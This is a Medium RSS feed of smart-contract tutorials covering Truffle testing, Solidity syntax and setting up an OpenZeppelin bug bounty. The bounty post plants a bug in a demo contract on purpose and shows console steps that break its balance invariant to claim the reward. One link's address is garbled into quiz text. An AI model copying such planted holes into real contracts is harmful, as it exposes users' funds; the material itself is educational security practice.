<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gustavo (Gus) Guimaraes on Medium]]></title>
        <description><![CDATA[Stories by Gustavo (Gus) Guimaraes on Medium]]></description>
        <link>https://medium.com/@gus-tavo-guim?source=rss-5c1fa9fbf713------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*c9qZu2sjKc1rx6ohVgBgJQ.jpeg</url>
            <title>Stories by Gustavo (Gus) Guimaraes on Medium</title>
            <link>https://medium.com/@gus-tavo-guim?source=rss-5c1fa9fbf713------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 15 Nov 2026 01:47:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gus-tavo-guim/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Beautifying Your Smart Contract Tests With JavaScript]]></title>
            <link>https://gus-tavo-guim.medium.com/beautifying-your-smart-contract-tests-with-javascript-4d284efcb2e8?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d284efcb2e8</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[ethereum-blockchain]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[testing]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Mon, 27 Nov 2017 11:05:50 GMT</pubDate>
            <atom:updated>2017-12-06T07:03:43.754Z</atom:updated>
            <content:encoded><![CDATA[<p>Make your tests more readable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AEMVcLA5Y0xF7yfvDsxrMw.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/photos/2NPV75ItVhg?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Kelly Sikkema</a></figcaption></figure><p>In my <a href="https://medium.com/@gus_tavo_guim/testing-your-smart-contracts-with-javascript-40d4edc2abed">previous blog post</a> I wrote about testing smart contracts with JavaScript. In this one, I would like to show techniques I picked along the way that makes tests more readable and elegant.</p><p>For this, I am going to use the code created in <a href="https://medium.com/@gus_tavo_guim/testing-your-smart-contracts-with-javascript-40d4edc2abed">Testing Your Smart Contract With JavaScript</a> as reference. Please read that blog post first.</p><p><strong>Carrying On Where We Left Off</strong></p><p>To beautify out test code, let’s use some handy libraries. Please go ahead and install these:</p><pre>npm install --only=dev --save chai<br>npm install --only=dev --save chai-as-promised<br>npm install --only=dev --save chai-bignumber</pre><p>We are adding these chai libraries to extend chai with elegant code syntax in our tests.</p><p>Go to the/test folder and create a helpers.js file. Add the following code to this file:</p><pre>const BigNumber = web3.BigNumber</pre><pre>const should = require(&#39;chai&#39;)<br>    .use(require(&#39;chai-as-promised&#39;))<br>    .use(require(&#39;chai-bignumber&#39;)(BigNumber))<br>    .should()</pre><pre>const EVMThrow = &#39;invalid opcode&#39;</pre><pre>module.exports = { should, EVMThrow }</pre><p>That’s it.</p><p><strong>Applying in our tests</strong></p><p>Let’s modify our first test with the new syntax so we have an idea. Here is the modification on the first test.</p><p>fundRaise.js</p><pre>const FundRaise = artifacts.require(&#39;./FundRaise.sol&#39;)<br>const { should } = require(&#39;./helpers&#39;)</pre><pre>contract(&#39;FundRaise&#39;, function ([owner, donor]) {</pre><pre>...</pre><pre>    it(&#39;has an owner&#39;, async function () {<br>        const fundRaiseOwner = await fundRaise.owner()</pre><pre>        fundRaiseOwner.should.be.equal(owner)<br>    })</pre><pre>...</pre><p>First we require should from the helpers.js file as such:</p><pre>const { should } = require(&#39;./helpers&#39;)</pre><p>Then we change the first test by removing the assert syntax to the more readable should one.</p><pre>it(&#39;has an owner&#39;, async function () {<br>        const fundRaiseOwner = await fundRaise.owner()</pre><pre>        fundRaiseOwner.should.be.equal(owner)<br>})</pre><p>Here we see that the pattern becomes variable + .should + .be+ equal + (expectation). You are able to find the whole range of api that should provides <a href="http://chaijs.com/api/bdd/">here</a>.</p><p>This is what it looks like when applying this syntax to the rest of the tests withinfundRaise.js .</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/61d4430e992f20a2c12575d34ba98f60/href">https://medium.com/media/61d4430e992f20a2c12575d34ba98f60/href</a></iframe><p>I am curious to see what kind of elegant solution you have/ come up with testing your smart contracts with JS.</p><p>The code for this blog post is found here <a href="https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-/tree/feature/beautifying-tests">https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-/tree/feature/beautifying-tests</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d284efcb2e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Testing Your Smart Contracts With JavaScript (Including Async/Await Promises)]]></title>
            <link>https://gus-tavo-guim.medium.com/testing-your-smart-contracts-with-javascript-40d4edc2abed?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/40d4edc2abed</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[software-testing]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[ethereum-blockchain]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Sat, 21 Oct 2017 07:35:02 GMT</pubDate>
            <atom:updated>2018-02-07T16:09:18.294Z</atom:updated>
            <content:encoded><![CDATA[<p>[ The code for this blog post can be found here: <a href="https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-">https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-</a>]</p><p>Smart contract developers strive to mitigate bugs in their code as they can be literally costly. For this end, one of the techniques we use is to write tests extensively or dare I say obsessively to the codebase.</p><p>In this post I will show you how to start testing your smart contracts from the get go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*9yx9HaCOAkX4J52ueiyRKA.png" /><figcaption>Show me the green light to move forward</figcaption></figure><p>First off, these are the dependencies I used to create this tutorial. If you come across an error, you can try installing and using these versions.</p><pre>- node@8.5.0<br>- truffle@^4.0.0<br>- ethereumjs-testrpc@^4.0.1</pre><p>With the dependencies out of the way, let’s set up the project.</p><pre>mkdir smart-contract-test-example &amp;&amp; cd &quot;$_&quot; &amp;&amp; truffle init webpack</pre><p>The snippet above creates a directory, changes into it and initializes <a href="http://truffleframework.com/">Truffle</a> with webpack.</p><p>Now create the test file for the FundRaise smart contract we’ll build.</p><p>touch test/fundRaise.js</p><p>Open the file in your favorite text editor and add the most basic test structure.</p><pre>const FundRaise = artifacts.require(&#39;./FundRaise.sol&#39;)</pre><pre>contract(&#39;FundRaise&#39;, function () {</pre><pre>})</pre><p>They first line fetches the contract artifacts. It is the contract abstraction containing its primary information i.e. its ABI, address and the like.</p><p>Then we create the function contract() which is similar to the describe() function in Mocha, except that Truffle adds some features such as making sure the contracts are deployed before running the tests. By the way, Truffle uses the <a href="https://mochajs.org/">Mocha</a> testing framework as well as <a href="http://chaijs.com/">Chai</a> assertion library under the hood.</p><p>Now let’s run this barebones test.</p><p>First:</p><pre>testrpc</pre><p>Then open a new command line window and type</p><pre>truffle test test/fundRaise.js</pre><p>The outcome is:</p><pre>Error: Could not find artifacts for ./FundRaise.sol from any sources<br>    at Resolver.require (/usr/local/lib/node_modules/truffle/build/cli.bundled.js:49072:9)<br>    at TestResolver.require (/usr/local/lib/node_modules/truffle/build/cli.bundled.js:89733:30)<br>...</pre><p>This is because we haven’t coded up the FundRaise smart contract just yet. Let’s fix this.</p><p>touch contracts/FundRaise.sol</p><p>Then add the code</p><pre>pragma solidity ^0.4.17;</pre><pre>contract FundRaise {</pre><pre>}</pre><p>Run the test again:</p><pre> 0 passing (1ms)</pre><p>Right. No tests written yet.</p><p><strong>Smart Contract Specification and Adding Tests</strong></p><p>The FundRaise smart contract will be a simple contract. Its straightforward specification is:</p><ul><li>it has an owner</li><li>it accepts funds</li><li>it is able to pause and un-pause the fundraising activity</li><li>contract owner is able to remove funds from the contract to herself at any time.</li></ul><p>Let’s start with the first specification — the contract has a owner</p><pre>const FundRaise = artifacts.require(&#39;./FundRaise.sol&#39;)</pre><pre>contract(&#39;FundRaise&#39;, function ([owner]) {<br>    let fundRaise</pre><pre>    beforeEach(&#39;setup contract for each test&#39;, async function () {<br>        fundRaise = await FundRaise.new(owner)<br>    })</pre><pre>    it(&#39;has an owner&#39;, async function () {<br>        assert.equal(await fundRaise.owner(), owner)<br>    })<br>})</pre><p>In the test code above we accomplish a few things.</p><p>1- fancy ES2015 destructuring variable assignment in function([owner] the first parameter given to the contract function is an array with the accounts coming from testrpc. We are taking the first one and assigning it the variable owner .</p><p>2- create the fundRaise variable</p><p>3- have a beforeEach function which will run before each test creating a new instance of fundRaise each time. Note the use of async/await for promises. This allows for more readable test code. If you want to read up more on the new JavaScript async/await features, <a href="http://nikgrozev.com/2017/10/01/async-await/">this is a good blog post on it.</a></p><p>4- create the first test within the it() function block. Here we are asserting that the fundRaise.owner() is the owner that we passed to when creating the contract.</p><p>Before running the tests once more, head over to truffle.js and require babel-polyfill as we need it to use async/await.</p><p>truffle.js</p><pre>// Allows us to use ES6 in our migrations and tests.<br>require(&#39;babel-register&#39;)<br>require(&#39;babel-polyfill&#39;)</pre><pre>module.exports = {<br>  networks: {<br>    development: {<br>      host: &#39;localhost&#39;,<br>      port: 8545,<br>      network_id: &#39;*&#39; // Match any network id<br>    }<br>  }<br>}</pre><p>Run the tests again and you will find this error:</p><pre>...<br>1 failing</pre><pre>1) Contract: FundRaise has an owner:<br>     AssertionError: expected undefined to equal &#39;0x676c48fb3979cf2e47300e8ce80a99087589650d&#39;<br>...</pre><p>Now it is time to write the code that will make the first test pass. Let’s flesh out our smart contract a bit.</p><pre>pragma solidity ^0.4.17;</pre><pre>contract FundRaise {<br>    address public owner;</pre><pre>    // <a href="http://twitter.com/dev">@dev</a> constructor function. Sets contract owner <br>    function FundRaise() {<br>        owner = msg.sender;<br>    }<br>}</pre><p>Trigger the test again, i.e.truffle test test/fundRaise.js :</p><pre>Contract: FundRaise<br>    ✓ has an owner (41ms)</pre><pre>1 passing (138ms)</pre><p>Great! Let’s move on and add the next one.</p><pre>const FundRaise = artifacts.require(&#39;./FundRaise.sol&#39;)</pre><pre>  contract(&#39;FundRaise&#39;, function ([owner, donor]) {<br>    let fundRaise</pre><pre>    beforeEach(&#39;setup contract for each test&#39;, async function () {<br>      fundRaise = await FundRaise.new(owner)<br>    })</pre><pre>    it(&#39;has an owner&#39;, async function () {<br>      assert.equal(await fundRaise.owner(), owner)<br>    })</pre><pre>    it(&#39;is able to accept funds&#39;, async function () {<br>      await fundRaise.sendTransaction({ value: 1e+18, from: donor })</pre><pre>      const fundRaiseAddress = await fundRaise.address<br>      assert.equal(web3.eth.getBalance(fundRaiseAddress).toNumber(), 1e+18)<br>    })<br>})</pre><p>The error this time is:</p><pre>1 failing</pre><pre>1) Contract: FundRaise is able to accept funds:<br>     Error: VM Exception while processing transaction: invalid opcode</pre><p>Right, we need to let our contract receive Ether. Let’s fix that.</p><pre>pragma solidity ^0.4.17;</pre><pre>contract FundRaise {<br>    address public owner;</pre><pre>// <a href="http://twitter.com/dev">@dev</a> constructor function. Sets contract owner <br>    function FundRaise() {<br>        owner = msg.sender;<br>    }<br>    <br>    // fallback function that allows contract to accept ETH <br>    function () payable {}</pre><pre>}</pre><p>And the result is:</p><pre>Contract: FundRaise<br>    ✓ has an owner (38ms)<br>    ✓ is able to accept funds (234ms)</pre><pre>2 passing (473ms)</pre><p>Beautiful. This is the process one goes through systematically to cover the smart contracts with test written in JavaScript. Just keep doing this process until all smart contract specifications are met.</p><p>For simplicity sake, I am going to fast forward the process and add the complete set of tests for the FundRaise contract so you have an idea how it would look like in the end.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2687c30dd405ce3f4d33de7ced6f4bd1/href">https://medium.com/media/2687c30dd405ce3f4d33de7ced6f4bd1/href</a></iframe><p>and here is the full code for the smart contract:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5e50374dbd668184466b25a141c8b1c1/href">https://medium.com/media/5e50374dbd668184466b25a141c8b1c1/href</a></iframe><p>Run the tests one last time…</p><pre>Contract: FundRaise<br>    ✓ has an owner (46ms)<br>    ✓ accepts funds (193ms)<br>    ✓ is able to pause and unpause fund activity (436ms)<br>    ✓ permits owner to remove funds (653ms)</pre><pre>4 passing (2s)</pre><p>Marvelous!</p><p>Hope you learned a thing or two about testing smart contracts with JavaScript and its use in blockchain development. Now carry on and keep testing the heck out of your smart contracts.</p><p>The code for this blog post can be found here: <a href="https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-">https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40d4edc2abed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solidity’s ‘using’ keyword]]></title>
            <link>https://medium.com/coinmonks/soliditys-using-keyword-c05c18aaa088?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/c05c18aaa088</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Tue, 22 Aug 2017 20:29:41 GMT</pubDate>
            <atom:updated>2020-10-13T12:27:03.047Z</atom:updated>
            <content:encoded><![CDATA[<p>There comes a time when one wonders the meaning behind certain features in the programming language one enjoys coding with. <a href="https://medium.com/u/db94697c003a">Lukas Cremer</a>, Gerard and I are blockchain developers based in Berlin, Germany, and we challenged ourselves whether we could explain the use of solidity’s using keyword.</p><p>using is used for including a library within a contract in solidity. Check this following example:</p><pre>pragma solidity ^0.4.15;</pre><pre>library SomeLibrary  {</pre><pre> function add(uint self, uint b) returns (uint) {<br>   return self+b;<br> }<br>}</pre><pre>contract SomeContract {<br>    <br>    using SomeLibrary for uint;<br>    <br>    function add3(uint number) returns (uint) {<br>        return number.add(3);    <br>    }<br>}</pre><p>The code using SomeLibrary for uint; allows us in this example to use return number.add(3); inside the function add3 . It is basically syntactic sugar for the following:</p><pre>pragma solidity ^0.4.15;</pre><pre>library SomeLibrary  {</pre><pre>function add(uint self, uint b) returns (uint) {<br>   return self+b;<br> }<br>}</pre><pre>contract SomeContract {<br>    <br>    function add3(uint number) returns (uint) {<br>        return SomeLibrary.add(number, 3);    <br>    }<br>}</pre><p>As we can see, by adding the keyword using we could give any uint within the SomeContract the libraries functions and pass the uintas the first parameter of that function.</p><p>Now let’s look at another example:</p><pre>pragma solidity ^0.4.15;</pre><pre>library SomeOtherLibrary  {</pre><pre>   function add(uint self, uint b) returns (uint) {<br>     return self+b;<br>   }</pre><pre>   function checkCondition(bool value) returns (bool)  {<br>      return value;<br>   }</pre><pre>}</pre><pre>contract SomeContract {<br>    using SomeOtherLibrary for *;</pre><pre>function add3(uint number) returns (uint) {<br>        return number.add(3);    <br>    }<br>    <br>    function checkForTruthy(bool checker) returns (bool) {<br>        return checker.checkCondition();    <br>    }<br>}</pre><p>Here the * allows for any type from the SomeOtherLibrary to be accessed in the contract.</p><p>Another thing we realized is that this also works for array and struct types but one needs to declare the storage keyword. But this is a topic for another blog post.</p><p>Thanks to <a href="https://medium.com/u/db94697c003a">Lukas Cremer</a> and Gerard Baecker for helping with this blog post.</p><blockquote><a href="https://coincodecap.com/?utm_source=coinmonks">Get Best Software Deals Directly In Your Inbox</a></blockquote><figure><a href="https://coincodecap.com/?utm_source=coinmonks"><img alt="" src="https://cdn-images-1.medium.com/max/584/0*OJ-qb5G6i863msBB.png" /></a></figure><figure><a href="http://bit.ly/2G71Sp7"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKX2mtg7p1lOs7JmosPLsA.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c05c18aaa088" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/soliditys-using-keyword-c05c18aaa088">Solidity’s ‘using’ keyword</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Your First Smart Contract]]></title>
            <link>https://gus-tavo-guim.medium.com/write-your-first-smart-contract-7c896a9ae880?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c896a9ae880</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Fri, 04 Aug 2017 08:36:22 GMT</pubDate>
            <atom:updated>2017-08-04T08:36:22.894Z</atom:updated>
            <content:encoded><![CDATA[<p>I just returned from the <a href="https://pillarproject.io/">Pillar</a> Unconference in Poprad, Slovakia where I gave two talks on developing smart contracts. The disclaimer here is that Pillar have just had a successful Initial Coin Offering and I helped writing the code for the token and crowd sale smart contract.</p><p>One of my talks was on creating your first smart contract. Here is the recorded live broadcast of the talk.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FrkIXhxolj2o%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DrkIXhxolj2o&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FrkIXhxolj2o%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2bc2ae4268d3265a0858629a84d92d7a/href">https://medium.com/media/2bc2ae4268d3265a0858629a84d92d7a/href</a></iframe><p>Unfortunately, it was difficult for web viewers to see the code of this presentation. For this, I am going to leave the code here so you can follow n case you have watched or will watch the video.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9b9cfc5b8ecb2ecf7642ec916a673626/href">https://medium.com/media/9b9cfc5b8ecb2ecf7642ec916a673626/href</a></iframe><p>Best of all in your learning journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c896a9ae880" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Public vs External Functions in Solidity]]></title>
            <link>https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/b46bcf0ba3ac</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[public-functions]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[external-function]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Sat, 29 Jul 2017 18:29:51 GMT</pubDate>
            <atom:updated>2021-11-03T16:24:38.644Z</atom:updated>
            <content:encoded><![CDATA[<p>I have been going through functions in smart contracts code I am creating and decided to make it more explicit as per this <a href="http://In this contract, every value sent is supposed to be equally split between account one, account two and the contract itself. Beside finding out problems with it, how could an attacker game this contract?">best practice </a>.</p><p>I noticed that I hesitated whenever I was about to add either the public or external visibility mark. This came from a place of uncertainty as to which is better to use when exposing the smart contract functions to outside calls. I came across this excellent answer <a href="https://ethereum.stackexchange.com/questions/19380/external-vs-public-best-practices?answertab=active#tab-top">on StackOverflow</a>.</p><p>In a nutshell, public and external differs in terms of gas usage. The former use more than the latter when used with large arrays of data. This is due to the fact that Solidity copies arguments to memory on a public function while external read from calldata which is cheaper than memory allocation. I went on to the <a href="http://yellowpaper.io/">yellow paper</a> to refresh my memory about call data opcodes.</p><p>public functions are called internally and externally. internal calls are executed via jumps in the code because array arguments are passed internally by pointers to memory. When the compiler generates the code for an internal function, that function expects its arguments to be located in memory. That is why public functions are allocated to memory. The optimization that happens with external is that is does not care for the internal calls.</p><p>So if you know the function you create only allows for external calls, go for it. It provides performance benefits and you will save on gas.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b46bcf0ba3ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up a Bug Bounty Smart Contract with OpenZeppelin]]></title>
            <link>https://gus-tavo-guim.medium.com/setting-up-a-bug-bounty-smart-contract-with-openzeppelin-a0e56434ad0e?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0e56434ad0e</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[truffle]]></category>
            <category><![CDATA[guide]]></category>
            <category><![CDATA[openzeppelin]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Wed, 12 Jul 2017 08:22:00 GMT</pubDate>
            <atom:updated>2018-03-28T19:17:47.283Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*pXZABu89igudMZvulTiuEw.jpeg" /><figcaption>Collect Some Bounty Tokens</figcaption></figure><p>The effect of having a market cap north of<a href="https://coinmarketcap.com/currencies/ethereum/"> $10 Billion USD</a> is that a growing number of blockchain enthusiasts trust putting their Ether only in smart contracts that have been vouched and fine-combed by security professionals.</p><p>Among the emerging best practices, the most recommended are to write extensive unit tests, have the code audited by <a href="https://smartcontractsolutions.com/security-audits">specialists</a> and set up a bug bounty program. I won’t elaborate on the first two recommendations as they deserve entire blog posts on their own, but in this blog post you will learn about how to setup bug bounty programs for your smart contracts.</p><p>The advantage of setting up bug bounty program is that security researchers from all over the world are incentivized to have a go at hacking your smart contract for a period of time. If the smart contract is broken into, the researcher collects Ether and you learn where the vulnerability lies in your code.</p><p>Another upside is that the process is able to be fully automated on the Ethereum blockchain and with the <a href="https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/Bounty.sol">Bounty smart contract</a> from the OpenZeppelin library, any blockchain developer is able to set up a bug bounty program within a reasonable amount of time. Let’s see how this is achieved.</p><p>First off, let’s bootstrap the project using <a href="http://truffleframework.com/">Truffle</a>.</p><pre>$ mkdir bug-bounty-example &amp;&amp; cd bug-bounty-example &amp;&amp; truffle init</pre><p>Next step is to add the OpenZeppelin library.</p><pre>$ npm install zeppelin-solidity --save</pre><p>This adds the zeppelin-solidity folder to node_modules and in it you will find all smart contract templates from the <a href="https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts">OpenZeppelin library</a>. For this project we only need Bounty.sol , SafeMath.sol , Ownable.sol , PullPayment.sol and Destructible.sol . If you just want to jump to the code, this is the repo where it resides: <a href="https://github.com/gustavoguimaraes/bug-bounty">https://github.com/gustavoguimaraes/bug-bounty</a> .</p><p>Moving on.</p><p>To set up a bug bounty program we need a smart contract that others will try to break. Let’s code up a smart contract that locks a user’s ether for any amount of time in the future.</p><p>$ touch contracts/LockYourEther.sol</p><p>And include the following contract:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/40e340772a2df3e03d6e132c8ab2991e/href">https://medium.com/media/40e340772a2df3e03d6e132c8ab2991e/href</a></iframe><p>The LockYourEther contract keeps track of the User in a mapping hash function which has access to a value and releaseDate . A User is able to lockFundsUntil a date in the future when it is able to withdraw the Ether from the contract (and hope that Ether will triple in value by then).</p><p>Now onto setting up the bug bounty program. This is the high level procedure:</p><ol><li>Create a bounty contract that inherits from <a href="https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/Bounty.sol">OpenZeppelin’s Bounty.sol</a> and have a deployContract() function which has to return a new contract address every time. In our case, we will return theLockYourEther contract address.</li><li>Have LockYourEther inherit from Target contract found in <a href="https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/Bounty.sol">OpenZeppelin’s Bounty.sol</a> . Add another function to LockYourEther called checkInvariant() which checks state variables within the contract. These must betrueat all times. That is to say that you need to check if the contract state remains as intended. Example of implementations of checkIvanriant() could be: checking if the total supply of all tokens equals the number of tokens that handed out on a token crowdsale, whether the timestamp of a variable in the contract is &gt; now and so on and so forth.</li><li>Deploy the contracts to the blockchain.</li><li>Set the Bounty reward.</li></ol><p>Let’s create the Bounty contract:</p><p>Firstly, we override theBounty contract function deployContract function with our own so as to instantiate LockYourEther version for the bounty program for us.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f8cde330fc165b316a97f76fe4e8131a/href">https://medium.com/media/f8cde330fc165b316a97f76fe4e8131a/href</a></iframe><p>Next, we includecheckInvariant() inLockYourEther and ensure that it derives from theTarget contract found at <a href="https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/Bounty.sol">Bounty.sol</a>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/45d928036f6a34f6b7b3649a112a9c43/href">https://medium.com/media/45d928036f6a34f6b7b3649a112a9c43/href</a></iframe><p>Here we are checking if the total Ether value from balances must match the state variable totalLockedWei . We know that if these are not equal the contract is not storing the ether or withdrawing as it should.</p><p>Now for the deployment:</p><p>In migrations/2_deploy_contracts.jsflesh it out with the JavaScript that lets Truffle deploy the contracts:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/65c45c32aa456eda0123aba9973d34b7/href">https://medium.com/media/65c45c32aa456eda0123aba9973d34b7/href</a></iframe><p>Run the <a href="http://truffleframework.com/docs/getting_started/migrations">Truffle command</a> to the desired Ethereum blockchain of your choice: kovan or ropsten which are test nets (For n00bs out there, these are examples of test nets that we can deploy and test our contracts on decentralized environments), or main net for the actual bug bounty program.</p><p>Lastly, set the reward for the bounty program.</p><p>Using truffle console :</p><pre>&gt; LockYourEtherBounty.deployed().then(inst =&gt; {bounty = inst})</pre><pre>&gt; address <strong>=</strong> 0xb9f68f96cde3b895cc9f6b14b856081b41cb96f1; <strong>//</strong> your account address</pre><pre>&gt; bountyAddress = bounty.address</pre><pre>&gt; reward <strong>=</strong> 20 <strong>//</strong> reward to pay to a researcher who breaks contract</pre><pre>&gt; bounty.sendTransaction({ from: address, value: web3<strong>.</strong>toWei(reward, &quot;ether&quot;) })</pre><pre>&gt; bountyValue = web3.eth.getBalance(bountyAddress).toNumber()</pre><pre>&gt; web3.fromWei(bountyValue, &#39;ether&#39;)<br>&#39;20&#39;</pre><p>Voilá, the bug bounty program is setup.</p><p>I purposely left a bug in the LockYourEther. Are you able to find it and get the bounty reward?</p><p>Give it a try, I will give you a few minutes …</p><p>If you have found it, great! You got an eye for security breaches in smart contracts (<a href="https://zeppelin.solutions/about#jobs">this is a link for you</a>). If you jumped to this section, no worries. The more exposure you get to this, the better it becomes.</p><p>So let&#39;s find the bug in LockYourEther contract and collect the bounty. For this, we are going to interact with the contract.</p><p>From truffle console :</p><p>Set ourselves as researchers of this bug bounty program and setup the contract instance we will be hacking:</p><pre>&gt; researcher = &#39;0xa96c979aa675d8c63d03b53e1f06cfa33c65721e&#39; // the researcher address</pre><pre>&gt; bounty.createTarget({ from: researcher }).then(result =&gt; targetContractAddress = result.logs[0].args.createdAddress)</pre><pre>&gt; LockYourEther.deployed().then(inst =&gt; abi = inst.abi)</pre><pre>&gt; contract = web3.eth.contract(abi)</pre><pre>&gt; lockedAddressInstance = contract.at(targetContractAddress)</pre><p>Then, interact with the target contract.</p><pre>&gt; theFuture = 1537401600 // 09/20/2018 @ 12:00am (UTC)</pre><pre>&gt; etherToLock = 3</pre><pre>&gt; lockedAddressInstance.lockFundsUntil.sendTransaction(theFuture, { from: researcher, value: web3.toWei(etherToLock, &quot;ether&quot;), gas: 1000000 })</pre><p>Check if all is okay with the contract:</p><pre>&gt; lockedAddressInstance.checkInvariant.call()<br>true</pre><p>So far, so good. Let’s send it some more Ether with the same researcher address:</p><pre>&gt; etherToLock = 6</pre><pre>&gt; lockedAddressInstance.lockFundsUntil.sendTransaction(theFuture, { from: researcher, value: web3.toWei(etherToLock, &quot;ether&quot;), gas: 1000000 })</pre><p>Now calling checkingInvariant once more:</p><pre>&gt; lockedAddressInstance.checkInvariant.call()<br>false</pre><p>Ha! We found the bug. The contract permits users to override their data. If you pay attention to the lockFundsUntil() function , line 19, you see that we are only checking if _releadeDate &gt; now . A user could just keep calling this function over and over and modifying its balances value. To fix this bug we would need to create another check such as require(balances[msg.sender].value == 0 so that an address is of balance 0 before locking any funds.</p><p>We deserve some Ether. Let’s claim the reward.</p><pre>&gt; bounty.then(inst =&gt; inst.claim(targetContractAddress, { from: researcher }))</pre><pre>&gt; bounty.then(inst =&gt; inst.claimed())<br>true</pre><pre>&gt; 